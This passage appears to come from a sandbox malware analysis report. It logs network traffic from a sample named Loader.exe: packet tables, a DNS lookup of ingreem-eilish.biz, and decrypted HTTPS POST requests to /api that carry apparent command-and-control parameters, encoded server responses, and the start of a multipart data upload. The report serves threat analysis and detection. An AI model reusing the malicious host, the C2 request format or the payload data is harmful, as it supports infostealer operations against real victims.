Dec 20, 2024 17:41:49.575045109 CET	49773	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:49.575064898 CET	443	49773	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:50.819829941 CET	443	49773	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:50.819968939 CET	49773	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:50.821238995 CET	49773	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:50.821250916 CET	443	49773	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:50.821517944 CET	443	49773	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:50.822808027 CET	49773	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:50.822948933 CET	49773	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:50.822979927 CET	443	49773	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:50.823050976 CET	49773	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:50.867335081 CET	443	49773	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:51.622442007 CET	443	49773	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:51.622714043 CET	443	49773	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:51.622761011 CET	49773	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:51.622781038 CET	49773	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:52.185323954 CET	49780	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:52.185370922 CET	443	49780	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:52.185477972 CET	49780	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:52.185898066 CET	49780	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:52.185914040 CET	443	49780	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:53.431325912 CET	443	49780	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:53.431410074 CET	49780	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:53.433197975 CET	49780	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:53.433207035 CET	443	49780	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:53.433557987 CET	443	49780	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:53.434983969 CET	49780	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:53.435127020 CET	49780	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:53.435173988 CET	443	49780	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:53.435247898 CET	49780	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:53.435256004 CET	443	49780	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:54.335671902 CET	443	49780	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:54.335958004 CET	49780	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:54.680305004 CET	49786	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:54.680349112 CET	443	49786	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:54.680501938 CET	49786	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:54.680773020 CET	49786	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:54.680788994 CET	443	49786	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:55.900676966 CET	443	49786	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:55.900794983 CET	49786	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:55.902383089 CET	49786	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:55.902389050 CET	443	49786	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:55.902620077 CET	443	49786	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:55.905221939 CET	49786	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:55.905559063 CET	49786	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:55.905565023 CET	443	49786	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:56.569977999 CET	443	49786	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:56.570116043 CET	443	49786	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:56.570194006 CET	49786	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:56.570244074 CET	49786	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:56.570265055 CET	443	49786	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:56.627342939 CET	49792	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:56.627383947 CET	443	49792	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:56.627485037 CET	49792	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:56.627810001 CET	49792	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:56.627825022 CET	443	49792	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:57.870930910 CET	443	49792	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:57.871063948 CET	49792	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:57.872438908 CET	49792	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:57.872457981 CET	443	49792	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:57.872795105 CET	443	49792	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:57.874484062 CET	49792	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:57.874568939 CET	49792	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:57.874576092 CET	443	49792	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:59.567353010 CET	443	49792	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:59.567595959 CET	443	49792	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:59.567646980 CET	49792	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:59.567646980 CET	49792	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:59.604072094 CET	49799	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:59.604116917 CET	443	49799	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:59.604217052 CET	49799	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:59.604541063 CET	49799	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:59.604557991 CET	443	49799	104.21.90.135	192.168.2.5
Dec 20, 2024 17:42:00.820846081 CET	443	49799	104.21.90.135	192.168.2.5
Dec 20, 2024 17:42:00.820992947 CET	49799	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:42:00.822267056 CET	49799	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:42:00.822288990 CET	443	49799	104.21.90.135	192.168.2.5
Dec 20, 2024 17:42:00.822540998 CET	443	49799	104.21.90.135	192.168.2.5
Dec 20, 2024 17:42:00.823904991 CET	49799	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:42:00.823957920 CET	49799	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:42:00.823983908 CET	443	49799	104.21.90.135	192.168.2.5
Dec 20, 2024 17:42:01.648260117 CET	443	49799	104.21.90.135	192.168.2.5
Dec 20, 2024 17:42:01.648350954 CET	443	49799	104.21.90.135	192.168.2.5
Dec 20, 2024 17:42:01.648612976 CET	49799	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:42:01.648736954 CET	49799	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:42:01.648761034 CET	443	49799	104.21.90.135	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 17:41:42.751671076 CET	53801	53	192.168.2.5	1.1.1.1
Dec 20, 2024 17:41:43.083385944 CET	53	53801	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 17:41:42.751671076 CET	192.168.2.5	1.1.1.1	0xe620	Standard query (0)	ingreem-eilish.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 17:41:43.083385944 CET	1.1.1.1	192.168.2.5	0xe620	No error (0)	ingreem-eilish.biz		104.21.90.135	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:41:43.083385944 CET	1.1.1.1	192.168.2.5	0xe620	No error (0)	ingreem-eilish.biz		172.67.200.171	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ingreem-eilish.biz

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49756	104.21.90.135	443	6448	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:41:44 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: ingreem-eilish.biz
2024-12-20 16:41:44 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 16:41:45 UTC	1037	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:41:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jjg1tfo5mql4c02p6epc0aa8dj; expires=Tue, 15-Apr-2025 10:28:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hOklVe82h95%2FPNyB4bGLRU8wxmdHkI1L92oTFE4L0Yeqk0GuMMq3nml2hn2sUw%2Fb1S0RmDkxTWKkrmIgrk3dDHLaWgKZHbkhTxLfpTNMCGY7xAfzCFBnJRXAYKtZDLivRbsLrE8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5114e61eed0fa7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2912&min_rtt=1665&rtt_var=1515&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1753753&cwnd=220&unsent_bytes=0&cid=89cf866507c89cdc&ts=736&x=0"
2024-12-20 16:41:45 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 16:41:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49761	104.21.90.135	443	6448	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:41:46 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 86 Host: ingreem-eilish.biz
2024-12-20 16:41:46 UTC	86	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 70 4f 6f 49 68 2d 2d 62 35 38 63 32 66 38 30 35 36 33 36 26 6a 3d 62 39 61 62 63 37 36 63 65 35 33 62 36 66 63 33 61 30 33 35 36 36 66 38 66 37 36 34 66 35 65 61 Data Ascii: act=recive_message&ver=4.0&lid=HpOoIh--b58c2f805636&j=b9abc76ce53b6fc3a03566f8f764f5ea
2024-12-20 16:41:47 UTC	1040	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:41:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r44rrqv1c07gbim6gakjd1td0c; expires=Tue, 15-Apr-2025 10:28:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WejyeJT4ZB0w7ZBsilkIOHSMaLLT%2F57iNTErB5GsNg4tQNW%2B9JI6Ps537O4VhWsmIM86KArOKka4XrnzSsg34H34mmMFLrkfqc9vv6SisAjjk%2B43jojHVuAS4B%2B1W9vbp9smmUM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5114f29f1e0fa7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1647&min_rtt=1645&rtt_var=622&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=988&delivery_rate=1752701&cwnd=220&unsent_bytes=0&cid=7cb820543e6a7c96&ts=724&x=0"
2024-12-20 16:41:47 UTC	329	IN	Data Raw: 34 33 30 63 0d 0a 46 34 51 50 6a 52 4c 70 7a 4f 77 54 71 4f 46 30 42 58 78 6e 6f 5a 6a 54 65 48 51 51 59 6b 48 65 35 74 4e 64 41 4f 7a 37 68 54 39 73 70 6e 6d 76 4b 4e 33 67 7a 6d 44 4e 77 30 35 6a 48 51 76 53 2f 66 39 61 46 58 52 41 65 37 69 48 76 79 35 6c 77 4e 6e 7a 55 6a 57 2b 61 65 78 2b 6d 71 6e 41 4d 63 32 5a 56 6a 38 6e 48 49 50 39 76 56 70 4f 4d 67 63 72 76 49 65 2f 50 32 47 48 6c 50 56 54 64 4f 78 6a 36 6e 71 4d 72 34 68 79 78 49 77 52 59 42 6b 47 79 2f 61 36 46 52 78 39 51 47 33 38 67 36 6c 2f 4f 73 36 32 34 45 74 32 79 57 37 2b 65 63 75 78 77 47 69 4b 68 42 6f 6e 52 6b 58 41 2f 62 45 55 45 6e 51 4a 4b 62 61 4f 74 7a 35 6b 68 6f 76 73 57 58 2f 73 62 65 6c 37 68 71 61 63 66 38 36 4c 47 6d 59 54 42 6f 4f 30 38 52 30 4f 4d 6c 68 6a 37 37 61 79 4c Data Ascii: 430cF4QPjRLpzOwTqOF0BXxnoZjTeHQQYkHe5tNdAOz7hT9spnmvKN3gzmDNw05jHQvS/f9aFXRAe7iHvy5lwNnzUjW+aex+mqnAMc2ZVj8nHIP9vVpOMgcrvIe/P2GHlPVTdOxj6nqMr4hyxIwRYBkGy/a6FRx9QG38g6l/Os624Et2yW7+ecuxwGiKhBonRkXA/bEUEnQJKbaOtz5khovsWX/sbel7hqacf86LGmYTBoO08R0OMlhj77ayL
2024-12-20 16:41:47 UTC	1369	IN	Data Raw: 36 42 6e 45 44 4e 37 47 56 38 53 41 73 6c 39 6e 67 55 54 57 2b 4c 65 6c 2b 69 71 4f 4f 59 38 4b 49 48 57 49 4d 44 73 72 33 76 42 6f 62 65 41 38 67 76 49 4f 37 4e 57 32 45 6e 65 70 51 63 2b 5a 74 72 7a 37 4c 71 5a 59 78 6b 73 4d 31 59 67 34 43 7a 2b 7a 7a 49 46 5a 74 54 6a 72 38 67 37 31 2f 4f 73 36 52 34 6c 35 32 37 57 4c 73 65 49 43 38 6a 6d 50 4d 6a 68 4e 31 47 41 44 4e 38 4c 49 49 48 48 77 47 49 4c 57 50 75 44 70 6c 69 74 6d 70 48 58 4c 2b 4c 62 63 77 71 71 4f 46 66 63 43 55 46 69 63 42 53 39 71 36 74 68 5a 57 4b 6b 41 6e 76 59 43 77 4f 32 79 41 6e 65 74 62 65 2b 74 69 36 58 71 4c 71 59 52 35 77 6f 49 62 62 42 45 46 78 76 65 31 48 42 70 7a 42 57 50 79 78 4c 59 6e 49 74 62 5a 79 56 70 32 39 43 2f 61 63 34 57 67 69 57 65 4b 6e 46 68 2b 58 67 4c 50 75 75 Data Ascii: 6BnEDN7GV8SAsl9ngUTW+Lel+iqOOY8KIHWIMDsr3vBobeA8gvIO7NW2EnepQc+Ztrz7LqZYxksM1Yg4Cz+zzIFZtTjr8g71/Os6R4l527WLseIC8jmPMjhN1GADN8LIIHHwGILWPuDplitmpHXL+LbcwqqOFfcCUFicBS9q6thZWKkAnvYCwO2yAnetbe+ti6XqLqYR5woIbbBEFxve1HBpzBWPyxLYnItbZyVp29C/ac4WgiWeKnFh+XgLPuu
2024-12-20 16:41:47 UTC	1369	IN	Data Raw: 51 47 33 38 67 36 6c 2f 4f 73 36 74 34 46 46 34 36 53 2f 61 63 34 57 67 69 57 65 4b 6e 46 68 2b 58 67 4c 50 75 75 6c 61 47 6e 73 41 4b 4c 61 41 73 54 68 76 69 35 72 67 58 6e 6a 68 5a 2b 46 33 6a 36 4b 48 66 4d 79 44 45 57 4d 62 46 38 62 7a 76 52 5a 57 50 45 41 6b 70 4d 54 70 66 30 32 4a 6a 2b 52 79 64 76 64 6b 72 32 2f 46 74 38 35 32 78 73 4e 4f 4a 78 6b 41 79 2f 47 33 45 68 5a 67 42 53 32 33 68 62 73 35 59 34 4f 56 34 56 31 30 35 6d 76 6a 63 49 79 70 6e 47 50 50 68 51 52 74 58 6b 75 44 2f 61 6c 61 54 6a 49 32 4d 36 75 56 70 33 31 58 6a 5a 66 70 57 6d 4f 6d 63 71 46 70 79 36 6d 43 4d 5a 4c 44 48 57 63 53 41 73 76 38 74 52 49 5a 66 51 6b 78 76 59 69 2f 4c 57 57 4f 6b 4f 6c 53 65 65 39 67 36 48 32 41 70 49 4e 31 7a 59 4a 57 4b 56 34 43 32 37 72 70 57 69 42 Data Ascii: QG38g6l/Os6t4FF46S/ac4WgiWeKnFh+XgLPuulaGnsAKLaAsThvi5rgXnjhZ+F3j6KHfMyDEWMbF8bzvRZWPEAkpMTpf02Jj+Rydvdkr2/Ft852xsNOJxkAy/G3EhZgBS23hbs5Y4OV4V105mvjcIypnGPPhQRtXkuD/alaTjI2M6uVp31XjZfpWmOmcqFpy6mCMZLDHWcSAsv8tRIZfQkxvYi/LWWOkOlSee9g6H2ApIN1zYJWKV4C27rpWiB
2024-12-20 16:41:47 UTC	1369	IN	Data Raw: 49 2b 35 50 6d 36 41 6e 75 4a 55 66 65 35 2f 37 6e 53 44 72 34 42 2b 79 34 63 54 59 68 6f 43 78 2f 79 2b 57 6c 67 79 42 7a 76 38 33 50 45 51 52 62 76 62 78 6d 63 31 2b 53 50 32 4d 49 79 69 7a 69 6d 4b 6a 78 56 72 46 67 72 46 38 37 30 51 48 33 6b 4d 4b 4c 69 49 75 44 70 6b 6a 35 7a 69 58 48 48 71 5a 2b 6c 7a 69 4b 47 42 66 73 4c 44 57 43 63 5a 48 59 4f 69 38 54 38 42 65 51 34 6c 2f 4a 76 2f 4a 69 4b 4a 6c 61 63 46 4e 65 70 6b 36 58 61 4f 6f 6f 39 33 77 6f 59 65 59 78 38 44 78 66 6d 2b 48 68 4e 7a 44 79 65 77 69 72 73 2b 59 34 4b 53 36 46 5a 77 70 69 4f 76 64 35 50 75 31 6a 48 37 67 41 42 77 44 67 6d 44 35 66 38 44 56 6e 55 4d 59 2b 54 45 73 43 31 6f 68 4a 66 69 55 6e 44 6c 59 75 68 39 6a 61 4b 45 65 4d 4b 46 47 57 34 4d 42 73 2f 30 74 68 51 61 66 41 30 70 Data Ascii: I+5Pm6AnuJUfe5/7nSDr4B+y4cTYhoCx/y+WlgyBzv83PEQRbvbxmc1+SP2MIyizimKjxVrFgrF870QH3kMKLiIuDpkj5ziXHHqZ+lziKGBfsLDWCcZHYOi8T8BeQ4l/Jv/JiKJlacFNepk6XaOoo93woYeYx8Dxfm+HhNzDyewirs+Y4KS6FZwpiOvd5Pu1jH7gABwDgmD5f8DVnUMY+TEsC1ohJfiUnDlYuh9jaKEeMKFGW4MBs/0thQafA0p
2024-12-20 16:41:47 UTC	1369	IN	Data Raw: 5a 70 6e 4a 50 67 57 6e 37 75 5a 75 42 32 6d 61 4b 41 59 38 2b 52 42 43 64 51 52 63 54 69 38 55 4a 57 52 41 63 7a 72 49 66 7a 44 6e 53 4e 6a 2b 78 51 65 61 5a 79 6f 57 6e 4c 71 59 49 78 6b 73 4d 51 61 42 63 47 7a 50 75 34 46 68 74 33 43 53 61 39 67 72 55 31 61 49 36 66 34 56 78 77 37 47 37 75 65 6f 4b 70 68 6e 62 4a 6b 56 59 70 58 67 4c 62 75 75 6c 61 50 33 55 53 4c 61 7a 45 72 6e 46 37 7a 70 37 72 48 53 32 6d 61 65 56 2f 6a 36 6d 43 64 38 2b 46 47 32 59 52 42 4d 50 31 74 52 45 66 64 41 45 75 75 59 6d 31 4c 57 69 46 6c 75 74 55 65 65 73 74 6f 54 43 4d 74 73 34 70 69 72 49 62 61 52 41 43 31 62 71 75 56 41 38 79 42 79 2f 38 33 50 45 2b 62 6f 47 61 36 46 35 32 35 32 66 39 59 6f 65 6e 68 6e 54 47 69 42 68 68 44 41 50 4d 38 37 49 5a 48 33 55 49 4c 37 61 48 74 Data Ascii: ZpnJPgWn7uZuB2maKAY8+RBCdQRcTi8UJWRAczrIfzDnSNj+xQeaZyoWnLqYIxksMQaBcGzPu4Fht3CSa9grU1aI6f4Vxw7G7ueoKphnbJkVYpXgLbuulaP3USLazErnF7zp7rHS2maeV/j6mCd8+FG2YRBMP1tREfdAEuuYm1LWiFlutUeestoTCMts4pirIbaRAC1bquVA8yBy/83PE+boGa6F5252f9YoenhnTGiBhhDAPM87IZH3UIL7aHt
2024-12-20 16:41:47 UTC	1369	IN	Data Raw: 42 38 55 31 69 34 58 4b 68 61 63 75 70 67 6a 47 53 77 78 42 75 47 41 4c 46 39 4b 4d 66 45 48 30 50 4b 72 57 41 75 54 78 69 69 70 33 67 57 48 62 71 5a 75 68 7a 68 4b 71 48 66 38 4f 4d 56 69 6c 65 41 74 75 36 36 56 6f 33 61 51 4d 76 73 63 53 75 63 58 76 4f 6e 75 73 64 4c 61 5a 68 34 58 57 4c 70 49 68 31 7a 34 55 63 59 68 34 4f 77 50 57 31 48 42 4a 39 41 43 69 31 68 62 63 36 61 49 57 66 36 6c 35 7a 34 43 32 68 4d 49 79 32 7a 69 6d 4b 6f 77 31 71 45 67 4b 44 35 66 38 44 56 6e 55 4d 59 2b 54 45 75 6a 4e 6d 69 5a 6e 71 58 6e 33 6a 61 65 56 31 69 36 61 63 65 63 71 45 42 48 55 65 44 4d 62 32 73 68 6f 53 64 41 6b 6c 76 34 44 78 63 53 4b 4a 67 61 63 46 4e 63 74 68 36 46 6d 4d 74 63 35 75 68 4a 70 57 59 42 4a 46 6d 37 71 77 45 52 78 39 44 53 43 36 68 37 6f 36 61 49 Data Ascii: B8U1i4XKhacupgjGSwxBuGALF9KMfEH0PKrWAuTxiip3gWHbqZuhzhKqHf8OMVileAtu66Vo3aQMvscSucXvOnusdLaZh4XWLpIh1z4UcYh4OwPW1HBJ9ACi1hbc6aIWf6l5z4C2hMIy2zimKow1qEgKD5f8DVnUMY+TEujNmiZnqXn3jaeV1i6acecqEBHUeDMb2shoSdAklv4DxcSKJgacFNcth6FmMtc5uhJpWYBJFm7qwERx9DSC6h7o6aI
2024-12-20 16:41:47 UTC	1369	IN	Data Raw: 4e 66 51 74 74 7a 44 4d 72 5a 78 6a 7a 49 41 41 5a 46 6b 37 2f 64 32 72 46 78 42 6c 45 52 32 43 67 36 73 79 5a 4a 6d 49 71 30 68 32 36 47 50 6f 5a 73 76 67 7a 6e 36 4b 32 79 38 6e 56 6b 58 38 74 50 45 43 56 69 70 41 46 72 2b 4b 76 7a 68 30 6e 39 54 41 52 33 6a 67 65 76 34 77 78 65 36 49 4d 5a 4c 54 57 43 63 61 46 49 4f 69 34 55 68 4e 4a 31 4e 30 37 4e 61 75 63 58 76 4f 6a 36 63 46 4a 36 67 74 2f 54 44 54 37 73 6c 79 32 4a 45 51 5a 41 67 47 68 4d 53 50 4e 42 46 30 42 53 53 73 78 70 38 30 64 6f 6e 5a 71 52 31 36 70 6a 58 57 4d 4d 50 75 73 54 2b 4b 6d 31 59 2f 58 6a 44 41 39 4c 38 64 41 47 4e 4e 44 62 75 43 74 44 68 79 7a 4c 66 73 53 58 4b 6d 49 36 39 32 79 2f 62 65 50 34 71 48 42 79 64 47 56 5a 47 68 35 45 6c 42 49 6c 49 38 38 70 33 78 4b 53 4c 57 79 36 6b Data Ascii: NfQttzDMrZxjzIAAZFk7/d2rFxBlER2Cg6syZJmIq0h26GPoZsvgzn6K2y8nVkX8tPECVipAFr+Kvzh0n9TAR3jgev4wxe6IMZLTWCcaFIOi4UhNJ1N07NaucXvOj6cFJ6gt/TDT7sly2JEQZAgGhMSPNBF0BSSsxp80donZqR16pjXWMMPusT+Km1Y/XjDA9L8dAGNNDbuCtDhyzLfsSXKmI692y/beP4qHBydGVZGh5ElBIlI88p3xKSLWy6k
2024-12-20 16:41:47 UTC	1369	IN	Data Raw: 75 46 2b 6a 4c 69 66 4d 59 54 44 47 53 64 47 50 49 4f 79 38 53 56 59 4d 68 68 6a 35 4d 53 45 50 47 79 41 6e 76 46 4d 4f 4d 46 6a 36 48 47 64 76 70 6c 2b 68 61 30 67 52 6c 35 4c 67 2f 7a 78 51 6b 51 38 51 43 65 74 78 4f 6c 76 4d 4e 58 4d 74 41 6f 6c 74 48 4b 68 61 63 75 34 7a 69 6d 59 7a 56 5a 31 58 6c 32 44 76 62 49 49 42 48 51 44 4e 62 2f 44 6a 77 46 46 67 4a 37 6d 53 32 58 72 59 63 35 7a 6d 71 53 77 54 39 2b 41 47 47 6b 5a 45 39 4b 36 2f 31 6f 5a 4d 6c 67 61 2f 4d 7a 78 41 43 7a 4f 67 61 63 46 4e 64 4e 75 34 58 36 4d 75 4a 38 38 37 59 30 52 5a 67 67 56 7a 76 61 51 47 51 64 34 51 47 33 38 67 76 46 6e 4d 4d 44 5a 34 30 77 31 76 6a 32 39 4b 39 37 39 32 53 47 59 6e 46 68 2b 58 68 4f 44 6f 75 4e 55 56 6d 42 41 65 2f 7a 44 73 69 31 77 69 4a 72 78 58 6a 4c 59 Data Ascii: uF+jLifMYTDGSdGPIOy8SVYMhhj5MSEPGyAnvFMOMFj6HGdvpl+ha0gRl5Lg/zxQkQ8QCetxOlvMNXMtAoltHKhacu4zimYzVZ1Xl2DvbIIBHQDNb/DjwFFgJ7mS2XrYc5zmqSwT9+AGGkZE9K6/1oZMlga/MzxACzOgacFNdNu4X6MuJ887Y0RZggVzvaQGQd4QG38gvFnMMDZ40w1vj29K9792SGYnFh+XhODouNUVmBAe/zDsi1wiJrxXjLY
2024-12-20 16:41:47 UTC	1369	IN	Data Raw: 6d 38 69 48 4c 63 67 46 46 5a 49 43 6a 52 2f 61 45 5a 56 45 4d 4e 4a 36 71 52 73 69 39 6c 73 4b 66 4b 54 33 4c 32 62 71 31 56 73 65 79 2f 5a 38 6d 44 47 47 42 65 53 34 50 69 38 55 4a 57 58 78 49 6b 72 49 66 7a 47 6c 6a 4d 71 50 46 65 64 65 68 71 72 7a 37 4c 6f 73 34 70 69 6f 34 45 59 41 34 47 6a 2f 32 72 48 56 5a 74 54 6a 72 38 6b 76 46 6e 4d 63 44 5a 39 52 30 74 70 69 72 68 66 59 71 74 67 48 4c 59 6b 52 42 6b 43 41 61 45 78 49 38 31 48 58 4d 51 4c 71 32 4a 74 53 6c 63 73 4c 37 68 57 48 4c 59 55 39 68 68 6a 4c 37 4d 56 38 6d 56 46 53 64 51 52 64 75 36 36 56 6f 78 64 41 55 6b 2f 4d 72 78 4f 79 4c 57 32 63 68 57 64 50 5a 67 2f 6e 32 50 75 4d 78 57 7a 49 59 52 4a 31 42 46 7a 37 72 70 57 68 6c 6a 42 79 57 35 67 2f 30 34 65 49 6e 5a 71 52 31 37 70 6a 57 76 66 Data Ascii: m8iHLcgFFZICjR/aEZVEMNJ6qRsi9lsKfKT3L2bq1Vsey/Z8mDGGBeS4Pi8UJWXxIkrIfzGljMqPFedehqrz7Los4pio4EYA4Gj/2rHVZtTjr8kvFnMcDZ9R0tpirhfYqtgHLYkRBkCAaExI81HXMQLq2JtSlcsL7hWHLYU9hhjL7MV8mVFSdQRdu66VoxdAUk/MrxOyLW2chWdPZg/n2PuMxWzIYRJ1BFz7rpWhljByW5g/04eInZqR17pjWvf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49767	104.21.90.135	443	6448	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:41:48 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=O9SCPS6TVHZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12800 Host: ingreem-eilish.biz
